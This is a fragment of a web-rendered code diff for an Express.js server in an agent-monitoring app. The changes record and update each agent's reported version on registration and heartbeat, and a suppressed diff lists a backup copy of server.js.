app.use('/.well-known', express.static(path.join(__dirname, 'public', '.well-known')));
|
||||
|
||||
|
||||
// ── Auth ──
|
||||
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
||||
@@ -487,6 +489,7 @@ app.post('/api/agent/register', (req, res) => {
|
||||
uptime: 0,
|
||||
processCount: 0,
|
||||
tags: tags || ['Default'],
|
||||
agentVersion: req.body.agentVersion || (existingNode && existingNode.agentVersion) || 'unknown',
|
||||
heartbeatInterval: 5,
|
||||
metricsHistory: existingNode ? existingNode.metricsHistory : []
|
||||
};
|
||||
@@ -510,6 +513,9 @@ app.post('/api/agent/heartbeat', (req, res) => {
|
||||
|
||||
const node = nodes.get(nodeId);
|
||||
const now = Date.now();
|
||||
if (req.body.agentVersion && node.agentVersion !== req.body.agentVersion) {
|
||||
node.agentVersion = req.body.agentVersion;
|
||||
}
|
||||
|
||||
node.status = 'online';
|
||||
node.lastHeartbeat = now;
|
||||
|
||||
1197
server.js.bak-agentseo-1790276248
Normal file
1197
server.js.bak-agentseo-1790276248
Normal file
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user